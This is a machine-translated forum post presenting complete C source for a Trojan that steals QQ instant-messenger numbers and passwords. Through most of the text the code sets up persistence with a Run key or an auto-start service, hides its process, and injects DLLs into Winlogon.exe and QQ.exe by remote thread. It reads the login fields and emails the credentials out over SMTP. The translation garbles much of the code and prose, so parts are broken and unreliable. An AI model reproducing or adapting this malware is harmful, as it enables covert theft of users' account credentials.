QQ Trojan source code
How to determine how the system gets the registry to get the content of the other process by controlling your own process How to copy the file how to insert the process [also called process injection, it seems to be called] How to send emails through SMTP
For the QQ1230 and 2003 version of the Trojan source code, it is compatible with WIN98, 2000, and does not display the process.
First of all, please don't marry me, I have already been not interested in QQ, but I haven't heard the new thieves of the QQ number. I still feel a bit strange. I asked a few people. I heard that the new version of QQ added anti-theft function, come A little interest, spent some time, wrote such a stealing program, but only test it with your own, I have never moved others! For reference only, let the master laugh. This program supports QQ1230 to QQ2003 version, I have no problem in the system platform, there is no problem in the WIN98, 2000 and 2003, and other systems have not been tested, I don't know if you don't know. It is very old. In addition to using the keyboard record, it is to send the WM_GETTEXT message to the QQ number and password window to get their content, this is very good at 98, but I don't know when Where is it seeming to have seen it under the NT platform, one process sends a WM_GETTEXT message to another process with a password property that cannot be obtained, only the WM_GetText message sent by its own process. But this is also good, we don't do the function that get the password as a thread into the QQ process! Remote threads Insert in Shotgun's masterpiece "Unveiled the mystery of Trojans (4)" and "Windows Core Programming" has detailed narrative. The process is explained in detail below. First, determine the system version, if you are 9X, copy yourself to the system directory, if the copy is successful, you don't have the instance of the system directory if you don't run the system directory, then yourself. Create a mutex, guarantee that there is only one instance exists. Next, register yourself into a service program with the RegisterServiceProcess function, so pressing Ctrl Alt Del in 9X. Finally, call the getqqpass function to monitor the QQ login. If it is an NT system, install itself to the automatic start-up system service, after the service is started, the task is to release the two DLL to insert other processes, insert the DLL of the monitor QQ login window into the Winlogon.exe process, then stop, This will not see an abnormal process in the task manager. The thread inserted into Winlogon.exe is responsible for monitoring whether there is QQ login. After discovering, insert the getqqpass function as a thread into the QQ process, when the getqqpass function captures the number and password, send a letter to the setup mailbox . As for why you want to insert a Winlogon.exe process, just habits, of course, you can also insert it into other system processes, but be careful to insert into system processes and cannot be user processes. Because only the threads in the system process can be permissible to do the remote thread insertion. Getqqpass function I use very simple ways to send WM_GETTEXT messages to QQ number and password window to get their content. Judging which window is the number of the number window and the password window is also the most commonly used, that is, relying on their Style. First, use the QQ login window to get the handle of the QQ login window, and then find the handle of the number window and the password window through this handle. STYLE of the class name and sub-window is obtained with SPY . Here is a detail in the "QQ Registration Wizard" window, select "Use the existing QQ number" and selected the previous number and the style window of the password window, of course, we have to select the STYLE. The email part is also very simple, now only testing at 163 and Sina, can also be used.
The code of the Base64 encoding part is Copy from the Internet, forgot where to see, in short, thank the author of this code. There is still a very serious bug, just on the NT platform, you can't get the QQ number and password of non-administrator users. I have observed that I have already inserting getqqpass into the QQ process, but I can't get password, depressed, Which one knows what happened, please do not hear. The following is the source code: // This is a header file containing the description of the function and structure to be used / * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------- // gqpsvr.h // CODER: SJDF // E-mail: sjdf1@163.com//create date: 2003.10.6 // Last Modify Date: 2003.10.7 ------------------- -------------------------------------------------- * / # include
/ / -------------------------------------------------------------------------------------------- --------------------- // Copy itself to the system directory // paim: [in, out], initially to store the pointer to the target file name buffer, / / Function Returns the target file name // successfully returns 0 to the buffer, otherwise returns to 0Int Copyselftosys (Char * PAIM);
/ / -------------------------------------------------------------------------------------------- --------------------- // Add to register self-starting item, keyname is the key name, key & # 118alue is key value void regstart (const char * keyname, const Char * key & # 118alue);
/ / -------------------------------------------------------------------------------------------- --------------------- // Add the specified privilege for the current process, name is a privileged name, successfully returns 0, failed to return 1Int addprIVilege (const char * name) ;
/ / -------------------------------------------------------------------------------------------- ------------------- // Put the DLL file specified by Fullname in the process of the PID in the process of the PID, and the failure is returned to 0, the failure returns 1Int INJECTDLL Const Char * Fullname, Const DWORD PID);
/ * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------- Function: Get the PID requirements of the process name: Win2000 or higher system, the link needs PSAPI.lib return value: Nothing to find 0, Otherwise, returns the first conformity PID description: Because there may be a plurality of instances of the same process name, all the PIDs of all conformity processes are sequentially stored in the APID array, and the value of the APID can be null, if the APID is NULL, Function to find the first eligible PID back - immediately ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------ * / DWORD Processtopid (Const Char * ProcessName, DWORD APID [1024]); // -------------------------------------------------- ------------------- // Send a function of the message in the mail by using the SMTP server that requires authentication, TypeDef struct _smtpinfo {char smtpsrvname [32]; char port [7]; char username [16]; char password [16]; char from [32]; char to [32]; char SUBJECT [32]; char MSG [64];
} SMTPINFO;
Int Sendmail (const SMTPINFO * PSMTPInfo);
/ * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------- Recursively enumerate all sub-windows and brothers window under the window specified by HfatherWindow, return to the same window handle as the LStyle style, if not found, Return NULL -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------- * / hWnd GetStyleWindow (HWnd HfatherWindow, Const long Lstyle);
/ / -------------------------------------------------------------------------------------------- --------------------- // Get the function of QQ password DWORD WINAPI GETQQPass (Void); // ------------- -------------------------------------------------- --------
// main program / * -------------------------------------------- ------------------------- // gqpsvr.c // CODER: SJDF // E-mail: sjdf1@163.com//create date : 2003.10.6 // Last Modify Date: 2003.10.9 // Compiler: LCC 3.8 // Test Platform: Win2000 Adv Server SP4 --------------------- ----------------------------------------------- * / #include "gqpsvr.h" #include "gqp_data.h" #include "plus_data.h" #include
// If it is 9X system, register yourself as // service, used to hide yourself, and start monitoring QQ login if (OSVER == 1) {// Prepare to copy to system directory ZeromeMore (Achaim, Sizeof (achaim)) LSTRCPY (Achaim, SrvfileName);
// If the copy is successful, it means that it does not run / / then the instance in the system directory is required, then yourself exit if (! COPYSESYS (ACHAIM)) {Winexec (achaim, sw_hide); return 1;}
/ / Determine that there is only one instance of CreateMutex (NULL, 0, PCHMYMUTEX);
IF (getLastError () == error_already_exists) {return 1;}
DWORD (WINAPI * RegisterServiceProcess) (DWORD, DWORD); HMODule K32 = getModuleHandle ("kernel32.dll");
IF (k32) {registerServiceProcess = getProcaddress (K32, "RegisterServiceProcess");
IF (registerServiceProcess) {registerServiceProcess (0, 1);}}
Regstart (PchstartName, Achaim);
// Call the function getqqpass () to obtain the QQ password;
}
// If it is a Win2000 system, register your own system service, // The service task is startup After inserting the DLL of the monitor QQ login window into the Winlogon.exe // process, then stop IF (OSVER == 2){
// Copy itself to the system directory ZeromeMory (achaim, sizeof (achaim)); lstrcpy (achaim, srvfilename); COPYSELFTOSYS (ACHAIM);
// If the parameter is "-service" as a service start IF (str (lpcmdline, "-service")! = Null) {service_table_entry dispatchtable [] = {{services_main_function) MyServiceStart}, {null, null}} ;
IF (! StartServiceCtrldispatcher (dispatchtable) {Return 1;}
Return 0;}
/ / Otherwise, install the service SC_HANDLE NEWSERVICE, SCM; // Connect SCMIF (! (SCM = OpenScManager (NULL, NULL, SC_MANAGER_CREATE_SERVICE))) {Return 1;}
// Plus "-service" parameter LSTRCAT (ACHAIM, "-service") when starting as a service;
IF ((NewService = CreateService) (SCM, ServiceName, DisplayName, Service_all_Access, service_win32_oen_process, service_auto_start, service_error_normal, achaim, null, null, null, null, null)))))
{// Start service char * PRA [] = {"-service", "/ 0"};
StartService (NewService, 1, (const char **) PRA);
}
CloseServiceHandle (NewService); ClosESERVICEHANDLE (SCM); Return 0;} Return 0;
DWORD MyWorkthread (Void) {SLEEP (3000);
/ / Release two DLLs to system directory // release nt_gqp_dll.dll
ZeromeMory (Achaim, Sizeof (Achaim);
IF (! GetSystemDirectory (Achaim, Sizeof (Achaim) - 1)) {Return 1;}
LSTRCAT (Achaim, GQP_DLL_NAME);
File * fp;
IF ((fp = fopen ("wb"))! = null) {// uses GQP_DLL_DATA1, 2, 3 this trouble because put DLL data is placed in the // header file as an array form, but the LCC compiler Do not support too much line, //, so there is only three parts. fwrite (GQP_Dll_Data1, sizeof (GQP_Dll_Data1), 1, fp); fwrite (GQP_Dll_Data2, sizeof (GQP_Dll_Data2), 1, fp); fwrite (GQP_Dll_Data3, sizeof (GQP_Dll_Data3), 1, fp); fclose (fp);}
/ / Release NT_Plus_dll.dllzeromeMory (Achaim, Sizeof (Achaim));
IF (! GetSystemDirectory (Achaim, Sizeof (Achaim) - 1)) {Return 1;}
LSTRCAT (ACHAIM, PLUS_DLL_NAME);
if ((fp = fopen (achAim, "wb")) = NULL!) {fwrite (Plus_DLL_Data1, sizeof (Plus_DLL_Data1), 1, fp); fwrite (Plus_DLL_Data2, sizeof (Plus_DLL_Data2), 1, fp); fwrite (Plus_DLL_Data3 , SizeOf (Plus_DLL_DATA3), 1, FP); Fclose (FP);
/ / Get the PIDDWORD PIORD PIORD PID of the Target Process To insert;
IF ((PID = ProcesstopId (NULL))! = 0) {// The DLL file name to be inserted is released in DLL_PATH // InjectDLL (ACHAIM, PID) when the file is released.
}
WillStop = 1; SLEEP (3000); return 0;}
Void myServiceStart (int Argc, char * argv []) {
MyServiceStatus.dwServiceType = SERVICE_WIN32; MyServiceStatus.dwCurrentState = SERVICE_START_PENDING; MyServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; MyServiceStatus.dwWin32ExitCode = 0; MyServiceStatus.dwServiceSpecificExitCode = 0; MyServiceStatus.dwCheckPoint = 0; MyServiceStatus.dwWaitHint = 0;
IF (! (!) {return;})) {return;})) {return;
// Initialization code goes here Handle error conditionDWORD Threadid;. If (CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) MyWorkThread, NULL, 0, & Threadid)!) {MyServiceStatus.dwCurrentState = SERVICE_STOPPED; MyServiceStatus.dwCheckPoint = 0; MyServiceStatus.dwWaitHint = 0; myServiceStatus.dwwin32exitcode = getLastError (); myServiceStatus.dwserviceSpecificeXitcode = getLastError ();
SetServiceStatus (MyServiceStatusHandle, & myServiceStatus); Return;
// INITIALIZATION COMPLETE - Report Running Status.myServiceStatus.dwcurrentState = service_running; myServiceStatus.dwcheckpoint = 0; myServiceStatus.dwwaithint = 0;
IF (! setServiceStatus (MyServiceStatusHandle, & myServiceStatus)) {return;}
While (WillStop == 0) {SLEEP (200);
MyServiceStatus.dwWin32ExitCode = 0; MyServiceStatus.dwCurrentState = SERVICE_STOPPED; MyServiceStatus.dwCheckPoint = 0; MyServiceStatus.dwWaitHint = 0; MyServiceStatus.dwWin32ExitCode = GetLastError (); MyServiceStatus.dwServiceSpecificExitCode = GetLastError ();
SetServiceStatus (MyServiceStatusHandle, & myServiceStatus); Return;
Void myServiceCtrlHandler (dword opcode) {copy service_control_pause: // do whatever it takes to piershe.myservicestatus.dwcurrentstate = service_paused;
Case service_control_continue: // do wherever it takes to payue here.myserviceStatus.dwcurrentState = service_running; break;
case SERVICE_CONTROL_STOP: // Do whatever it takes to stop here.MyServiceStatus.dwWin32ExitCode = 0; MyServiceStatus.dwCurrentState = SERVICE_STOPPED; MyServiceStatus.dwCheckPoint = 0; MyServiceStatus.dwWaitHint = 0;
SetServiceStatus (MyServiceStatusHandle, & myServiceStatus);
Willstop = 1; return; case service_control_interrogate: // Fall through to send current status.break;
}
// Send Current Status.if (! SetServiceStatus (MyServiceStatusHandle, & myServiceStatus)) {WillStop = 1; Return;}
Return;}
// Plug in the DLL of the system process / * ------------------------------------ ------------------------------- // nt_plus_dll.c // CODER: SJDF // E-mail: sjdf1 @ 163 .com // Create Date: 2003.10.9 // Last Modify Date: 2003.10.9 // Compiler: LCC 3.8 // Test Platform: Win2000 Adv Server SP4 --------------- -------------------------------------------------- ---- * / # include "gqpsvr.h" #include
/ / -------------------------------------------------------------------------------------------- --------------------- DWord WinApi injectqq (void); // -------------------- ------------------------------------------------ Bool WINAPI __DECLSPEC (DLLEXPORT) DLLMAIN (Hinstance HDLINST, DWORD FDWREASON, LPVOID LPVRESERVED) {Switch (fdwreason) {copy dll_process_attach:
CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) INJECTQQ, 0, 0, NULL);
Break;
}
Return True;} // -------------------------------------------- ------------------------- DWORD WINAPI INJECTQQ (VOID) {// The full name of the DLL to be inserted const char * GQP_DLL_NAME = "// nt_gqp_dll .dll "; char apath 1]; zeromeMory (AchdllPath, Sizeof (AchdllPath);
IF (! GetSystemDirectory (AchdllPath, Sizeof (AchdllPath) - 1)) {Return 1;}
LSTRCAT (ACHDLLPATH, GQP_DLL_NAME); // Find QQ Process INT I, J; DWORD OLDPID [32]; DWORD NewPID [32];
ZeromeMory (OldPID, 32);
While (1) {ZeromeMory (NewPID, 32); Processtopid ("QQ.EXE", NewPID);
For (i = 0; (i <32) && (newPID [i]! = 0); i ) {for (j = 0; (j <32) && (OldPID [J]! = 0); J ) { IF (newPID [i] == OldPID [J]) {Break;}} if (newPID [i] == OldPID [J]) {Continue;
INJECTDLL (ACHDLLPATH, NewPID [I]);
ZeromeMory (OldPID, 32); CopyMemory (OldPID, NewPID, 32); SLEEP (500);
Return 0;}
// Plug in the DLL of the QQ process / * ------------------------------------ ------------------------------- // NT_GQP_DLL.C // CODER: SJDF // E-mail: sjdf1 @ 163 .com // Create Date: 2003.10.6 // Last Modify Date: 2003.10.8 // Compiler: LCC 3.8 // Test Platform: Win2000 Adv Server SP4 --------------- -------------------------------------------------- ---- * / # include "gqpsvr.h" #include
/ / -------------------------------------------------------------------------------------------- ------------------- BOOL WINAPI __DECLSPEC (DLLEXPORT) DLLMAIN (Hinstance HDLINST, DWORD FDWREASON, LPVOID PVRESERVED) {Switch (fdwreason) {Case DLL_Process_attach:
CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Getqqpass, 0,0, null;
Break;
}
Return True;} // -------------------------------------------- -------------------------
// The following is the functions used above, and the declaration is in the header file. / * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------- // Getqqpass.c // CODER: SJDF // E-mail: sjdf1@163.com//create date: 2003.10.6 // Last Modify Date: 2003.10.8 // Compiler: LCC 3.8 // Test Platform: Win2000 Adv Server SP4 ------------------------- ------------------------------------------- * / # include "GQPSVR .h "#include
While (1) {SLEEP (200);
// find QQ login window if ((hLoginWindow = FindWindow (pchWinClass, NULL)) = NULL!) {// get QQ user logon handle hNumWindow = GetStyleWindow (hLoginWindow, lNumWindowStyle1) inside the dialog window number and password window; hPassWindow = GetStyleWindow (HLoginWindow, LPASSWINDOWSTYLE1); // If the handle is valid if (hnumwindow && hpasswindow) {zeromeMory (AchfmtResult);
// When the handle is still valid, it means that the user does not click to go to the next window, and may have not lost the number and password, so I have to get this // two windows, until the window is invalid while WHILE (GetStyleWindow (hNumWindow, lNumWindowStyle1) && GetStyleWindow (hPassWindow, lPassWindowStyle1)) {ZeroMemory (achNum, sizeof (achNum)); ZeroMemory (achPass, sizeof (achPass)); SendMessage (hNumWindow, WM_GETTEXT, sizeof (achNum), (LPARAM) achNum) ; SendMessage (hPassWindow, WM_GETTEXT, sizeof (achPass), (LPARAM) achPass); if (lstrlen (achPass)) {ZeroMemory (achFmtResult, sizeof (achFmtResult)); wsprintf (achFmtResult, "% s:% s", achNum, ACHPASS);
Sleep (20);
/ / The user may use the QQ registration wizard to log in, so the number or password may // is empty, so that IF (LSTRLEN (ACHFMTRESULT)> 6) {CreateThread (Null, 0, (LPTHREAD_START_ROUTINE) Sendpass, AchfmtResult, 0, & ThreadID );
Sleep (2000);}}}
// Get the number window and password window in the QQ Registration Wizard dialog hnumWindow = getStyleWindow (HloginWindow, LnumWindowStyle2); hlAssWindow = getStyleWindow (HloginWindow, LpassWindowStyle2);
// If the handle is valid if ((HNUMWINDOW & & HPASSWINDOW) {zeromeMory (AchfmtResult);
// When the handle is still valid, it means that the user does not click to go to the next window, and may have not lost the number and password, so I have to get this // two windows, until the window is invalid while WHILE (GetStyleWindow (hNumWindow, lNumWindowStyle2) && GetStyleWindow (hPassWindow, lPassWindowStyle2)) {ZeroMemory (achNum, sizeof (achNum)); ZeroMemory (achPass, sizeof (achPass)); SendMessage (hNumWindow, WM_GETTEXT, sizeof (achNum), (LPARAM) achNum) SendMessage (HPassWindow, WM_Gettext, SizeOf (Achpass), (LPARAM) ACHPASS
IF (Lstrlen) {ZeromeMory (AchfmtResult); WSPrintf (AchfmtResult, "% s:% s", Achnum, ACHPASS);
Sleep (20);
IF (LSTRLEN (ACHFMTRESULT)> 6) {Createthread (NULL, 0, (LPTHREAD_START_ROUTINE) SendPass, AchfmtResult, 0, & ThreadID;
Sleep (2000);}}}}
Return 0;}
/ / -------------------------------------------------------------------------------------------- ------------------- // Send the thread function of the QQ password DWORD WINAPI SendPass (Char * PCHFMTRESULT) {SMTPINFO SMTPINFO = {"SMTP server name", "SMTP Port, "User Name", "Password", "Received", "Sender", "" "}; lstrcpy (SMTPINFO.SUBJECT, PCHFMTRESULT);
Return Sendmail (& SMTPInfo);
}
/ * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------- // GetStyleWindow.c // CODER: SJDF // E-mail: sjdf1@163.com//create date: 2003.10.6 // Last Modify Date: 2003.10.7 // Compiler: LCC 3.8 // Test Platform: Win2000 Adv Server SP4 ------------------------- ------------------------------------------- * / # include "GQPSVR .h "#include
HWND HNEXTWINDOW, HDESTWINDOW;
To give the sub-window handle // if ((hNextWindow = GetWindow (hFatherWindow, GW_CHILD)) = NULL!) {// recursive search subwindow if ((hDestWindow = GetStyleWindow (hNextWindow, lstyle)) = NULL!) {Return hDestWindow;} }
// Recursively find the brothers window IF ((HNEXTWINDOW, GW_HWNDNEXT))! = Null) {Return getStyleWindow (HNEXTWINDOW, LSTYLE);}
/ / Returns nullreturn null without match;}
/ * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------- // AddprivileGe.c // CODER: SJDF // E-mail: sjdf1@163.com//create date: 2003.10.6 // Last Modify Date: 2003.10.8 // Compiler: LCC 3.8 // Test Platform: Win2000 Adv Server SP4 ------------------------- ------------------------------------------- * / # ifdef _debug # Include
IF (!! "token_adjust_privileges | token_pary, & htokeen) {# iFDef _debugprintf (" openprocessToken Error./N ";#Difreturn 1;
IF (! Lookupprivilege & # 118alue (Null, Name, & Luid) {# IFDEF_Debugprintf ("Lookuppprivilege & # 118Alue Error./N" );#Difreturn 1;}
Tp.privilegegount = 1; tp.privileges [0] .attributes = se_privilege_enabled; tp.privileges [0] .luid = Luid;
IF (! AdjustTokenPrivileges (HToken, 0, & TP, Sizeof (token_privileges), null, null) {# iFDef_debugprintf ("AdjustTokenPrivileges Error./N ";##Difreturn 1;}
Return 0;} // ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ -------------------------
/ * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------- // COPYSELFTOSYS.C // CODER: SJDF // E-mail: sjdf1@163.com//create date: 2003.10.6 // Last Modify Date: 2003.10.8 // Compiler: LCC 3.8 // Test Platform: Win2000 Adv Server SP4 ------------------------- ------------------------------------------- * / # include "GQPSVR .h "#include
IF (! getSystemDirectory) {// printf ("getSystemDirectory () error =% d / ninstall failure! / n", getLastError ()); return 1;}
LSTRCAT (Destname, "//"); LSTRCAT (DESTNAME, PAIM); LSTRCPY (PAIM, DESTNAME);
IF (! getModuleFileName (NULL, NOWNAME, MAX_PATH) {// printf ("getModuleFileName () error! / n", getLastError ()); return 1;}
IF (! CopyFile (nowname, destname, 0)) {// printf ("CopyFile () error! / n", getLastError ()); return 1;}
Return 0;}
/ * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------- // Getosver.c // CODER: SJDF // E-mail: sjdf1@163.com//create date: 2003.10.6 // Last Modify Date: 2003.10.8 // Compiler: LCC 3.8 // Test Platform: Win2000 Adv Server SP4 ------------------------- ------------------------------------------- * / # include "GQPSVR .h "#include
Analyzing system version // int GetOsVer (void) {OSVERSIONINFO osvi; osvi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); GetVersionEx (& osvi); // 95,98 or Meif (osvi.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) {return 1;}
// NT, 2000, XP OR 2003IF (Osvi.dwplatformID == Ver_Platform_WIN32_NT) {Return 2;}
// tarereturn 0;} // ------------------------------------------ ---------------------------
/ * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------- // Injectdll.c // CODER: SJDF // E-mail: sjdf1@163.com//create date: 2003.10.6 // Last Modify Date: 2003.10.8 // Compiler: LCC 3.8 // Test Platform: Win2000 Adv Server SP4 ------------------------- ------------------------------------------- * / # ifdef _debug # INCLUDE
#include "gqpsvr.h" #include
// If you want to open the system process, you must first apply for debug privilegegege (SE_DEBUG_NAME);
if ((hRemoteProcess = OpenProcess (PROCESS_CREATE_THREAD | // create threads allow remote PROCESS_VM_OPERATION | // allow remote VM operating PROCESS_VM_WRITE | // allow remote VM write PROCESS_VM_READ, // allow remote VM read 0, Pid)) == NULL) {# IFDEF_Debugprintf ("openprocess () error./n" ";#endifreturn 1;}
Char * pdllname;
if ((pDllName = (char *) VirtualAllocEx (hRemoteProcess, NULL, lstrlen (FullName) 1, MEM_COMMIT, PAGE_READWRITE)) == NULL) {# ifdef _DEBUGprintf ( "VirtualAllocEx () error./n");#endifreturn 1 }
// copy the DLL function using WriteProcessMemory path name to the remote process memory space if (WriteProcessMemory (hRemoteProcess, pDllName, (void *) FullName, lstrlen (FullName), NULL) == 0) {# ifdef _DEBUGprintf ( "WriteProcessMemory ( ) Error./N" ";#Difreturn 1;} // calculate the entrance address of LoadLibrarya pthread_start_routine PfnStartAddr;
if ((pfnStartAddr = (PTHREAD_START_ROUTINE) GetProcAddress (GetModuleHandle (TEXT ( "kernel32")), "LoadLibraryA")) == NULL) {# ifdef _DEBUGprintf ( "GetProcAddress () error./n");#endifreturn 1;}
Handle hremothet; dword threadid;
if ((hRemoteThread = CreateRemoteThread (hRemoteProcess, // embedded remote process NULL, 0, pfnStartAddr, // entry address of pDllName LoadLibraryA, 0, & ThreadId)) == NULL) {# ifdef _DEBUGprintf ( "CreateRemoteThread () error. / N "); # endifreturn 1;}
Return 0;} // ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ -------------------------
/ * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------- // Processtopid.c // CODER: SJDF // E-mail: sjdf1@163.com//create date: 2003.10.6 // Last Modify Date: 2003.10.24 // Compiler: LCC 3.8 // Test Platform: Win2000 Adv Server SP4 ------------------------- ------------------------------------------- * / # ifdef _debug # INCLUDE
#include "gqpsvr.h" #include
DWORD Processtopid (Const Char * ProcessName, DWORD APID [1024]) {
typedef BOOL (CALLBACK * EnumProcessesType) (DWORD *, DWORD, DWORD *); typedef BOOL (CALLBACK * EnumProcessModulesType) (HANDLE, HMODULE *, DWORD, LPDWORD); typedef DWORD (CALLBACK * GetModuleBaseNameType) (HANDLE, HMODULE, LPTSTR, DWORD ENUMPROCESSSTYPE ENUMPROCESSS; EnumprocessModules; getModuleBaseNameType getModuleBaseName;
HModule HMPSAPI = GetModuleHandle ("psapi.dll");
IF (HMPSAPI == Null) {IF ((HMPSAPI = LoadLibrary ("psapi.dll")) == NULL) {# IFDEF _Debugprintf ("LoadLibrary () error:% d / n", getLastError ()); # endifreturn }
}
EnumProcesses = (EnumProcessesType) GetProcAddress (hmPsapi, "EnumProcesses"); EnumProcessModules = (EnumProcessModulesType) GetProcAddress (hmPsapi, "EnumProcessModules"); GetModuleBaseName = (GetModuleBaseNameType) GetProcAddress (hmPsapi, "GetModuleBaseNameA");
#ifdef _DEBUGif printf ( "EnumProcesses == NULL / n") (EnumProcesses!); if printf ( "EnumProcessModules == NULL / n") (EnumProcessModules!); (! GetModuleBaseName) if printf ( "GetModuleBaseName == NULL / n "); # ENDIF
IF (! ") {freeElibrary (HMPSAPI);
#ifdef _debugprintf ("GetProcaddress () error:% d / n", getLastError ()); # endifreturn 0;}
DWord Aprocesses [1024], CBNEEDED, CPROCESS; Unsigned Int I, J; Handle HProcess; HModule HMOD; Char SzprocessName [MAX_PATH] = "UnknownProcess";
/ / How many processes are currently calculated, and Aprocesses [] is used to store effective process pidif (! Enumprocesses), & cbneeded) {# IFDEF _Debugprintf ("Enumprocesses Error:% D / N", getLastError ()); # ENDIF
Freelibrary (HMPSAPI); Return 0;}
CProcesses = CBNEEDED / SIZEOF (DWORD);
/ / Open a specific PID process = OpenProcess (Process_Query_Information | Process_VM_Query_Information | Process_VM_READ, FALSE, APROCESSS [i]); // get specific PID process name if (hProcess) {if (EnumProcessModules (hProcess, & hMod, sizeof (hMod), & cbNeeded)) {GetModuleBaseName (hProcess, hMod, szProcessName, sizeof (szProcessName));
// Compare the process name acquired with the input process name, if the process is returned to the process pidif (! Stricmp (Stricmp (Stricmp (Stricmp (HProcess);
// If the reception buffer is valid, fill in the PID session, otherwise returns if (APID! = Null) {APID [J ] = Aprocesses [i];} else {freeelibrary (hmpsApi); # ifdef _debugprintf ("PID IS % D / N ", Aprocesses [I]); # endifreturn aprocesses [i];}
}}}}
CloseHandle (HPROCESS);
IF (APID! = null) {freeelibrary (hmpsapi); # ifdef _debugprintf ("PID IS% D / N", APID [0]); # endifreturn APID [0];}
#ifdef _Debugprintf ("Not Find% S / N", ProcessName); # ENDIF
FreeLibrary (HMPSAPI); Return 0;} // --------------------------------------- ------------------------------
/ * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------- // Regstart.c // CODER: SJDF // E-mail: sjdf1@163.com//create date: 2003.10.6 // Last Modify Date: 2003.10.7 // Compiler: LCC 3.8 // Test Platform: Win2000 Adv Server SP4 ------------------------- ------------------------------------------- * / # include "GQPSVR .h "#include
RegcreateKeyex (HKEY_LOCAL_MACHINE, "Software // Microsoft // Run", 0, NULL, REG_OPTION_NON_VOLATILE, Key_All_Access, Null, & phkResult, null;
Regset & # 118Arueex (phkResult, keyname, 0, reg_sz, (unsigned char *) Key & # 118alue, lstrlen (key & # 118alue) 1); RegcloseKey (phkResult);
}
/ / -------------------------------------------------------------------------------------------- ---------------------
/ * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------- // sendmail.c // CODER: SJDF // E-mail: sjdf1@163.com//create date: 2003.10.6 // Last Modify Date: 2003.11.2 // Compiler: LCC 3.8 // Test Platform: Win2000 Adv Server SP4 ------------------------- ------------------------------------------- * / # ifdef _debug # INCLUDE
#include "gqpsvr.h" #include
IF (WsaStartup (MakeWord (2, 2), & WSADATA)! = 0) {# IFDEF_Debugprintf ("WsaStartup () error:% d / n", getLastError ()); # endifreturn 1;}
// Create a socket Socket SockId;
IF ((Sockid = Socket (AF_INET, SOCK_STREAM, 0) == Invalid_socket) {# IFDEF_Debugprintf ("socket () error:% d / n", getLastError ()); # endifwsacleanup (); return 1;}
// Get the SMTP server ipstructure hostent * phostent = gethostByname (psmtpinfo-> smtpsrvname); struct sockaddr_in addr;
CopyMemory (& addr.sin_addr.s_un.s_addr, phostent-> h_addr_list [0], sizeof (addr.sin_addr.s_un.s_addr));
#ifdef _DEBUGstruct in_addr srvaddr; CopyMemory (& srvaddr, & addr.sin_addr.S_un.S_addr, sizeof (struct in_addr)); printf ( "Smtp server name is% s / n", psmtpinfo-> SmtpSrvName); printf ( "Smtp server ip IS% S / N ", INET_NTOA (SRVADDR)); # endifaddr.sin_family = afd_inet; addr.sin_port = htons (atoi (psmtpinfo-> port); ZeromeMory (& addr.sin_zero, 8);
// Connect the server if (Connect (Struct SockAddr *) & addr, sizeof (struct sockaddr_in) == socket_error) {# ifdef _debugprintf ("Connect () error:% d / n", getLastError ()); # Endifgoto stop;
IF (Talk (SockID, "220", "Ehlo SJDF")) {goto stop;
IF (Talk (SockId, "250", "Auth login")) {goto stop;
// convert the username and password to Base64 encoded const energy = 256; char buf [buflen]; int i, userlen, passlen;
ZeromeMory (BUF, BUFLLEN);
Userlen = lstrlen (psmtpinfo-> username); Passlen = lstrlen (psmtpinfo-> password);
FOR (i = 0; Userlen% 3? Userlen / 3 1: userlen / 3); i ) {base64 (psmtpinfo-> username i * 3, buf i * 4);}
IF (Talk (SockId, "334", BUF)) {goto stop;
ZeromeMory (BUF, BUFLLEN);
For (i = 0; PASSLEN% 3? Passlen / 3 1Asslen / 3); i ) {base64 (psmtpinfo-> password i * 3, buf i * 4);}
IF (Talk (SockId, "334", BUF)) {goto stop;
ZeromeMory (BUF, BUFLEN); WSPrintf (BUF, "Mail from: <% S>", PSMTPINFO-> from);
IF (Talk (SockId, "235", BUF)) {goto stop;
ZeromeMory (BUF, BUFLEN); WSPRINTF (BUF, "RCPT TO: <% S>", psmtpinfo-> to);
IF (Talk (SockId, "250", BUF)) {goto stop;
IF (Talk (SockId, "250", "Data"))) {goto stop;}
ZeromeMory (BUF, BUFLEN); WSPRINTF (BUF, "To:% S / R / NFROM:% S / R / NSUBJECT:% S / R / N% S / R / N / R / n.", Psmtpinfo-> To, psmtpinfo-> from, psmtpinfo-> subject, psmtpinfo-> msg; if (talk, "354", buf) {goto stop;} if (talk (SockID, "250", "quit") ) {goto stop;
IF (SockId, "221", "")) {goto stop;} else {clossockt (sockid); wsacleanup (); return 0;}
Stop: CloseSocket; wsacleanup (); return 1;} // --------------------------------- ----------------------------------- Int talk (socket sockid, const char * okcode, char * psend ) {Const int buflen = 256; char buf [buflen]; zeromemory (buf, buflen);
// Receive return information IF (RECV (Sockid, BUF, BUFLLEN, 0) == Socket_ERROR) {# IFDEF _Debugprintf ("RECV () error:% d / n", getLastError ()); # endifreturn 1;}
#ifDef _debugprintf ("% s / n", buf); # ENDIF
IF (strstr (buf, okcode) == null) {# IFDEF _Debugprintf ("error: recv code! =% s / n", okcode); # endifreturn 1;}
// Send command if (psend) {zeromeMory (buf, buflen); WSPrintf (buf, "% s / r / n", psend);
#ifDef _debugprintf ("% s / n", buf); # ENDIF
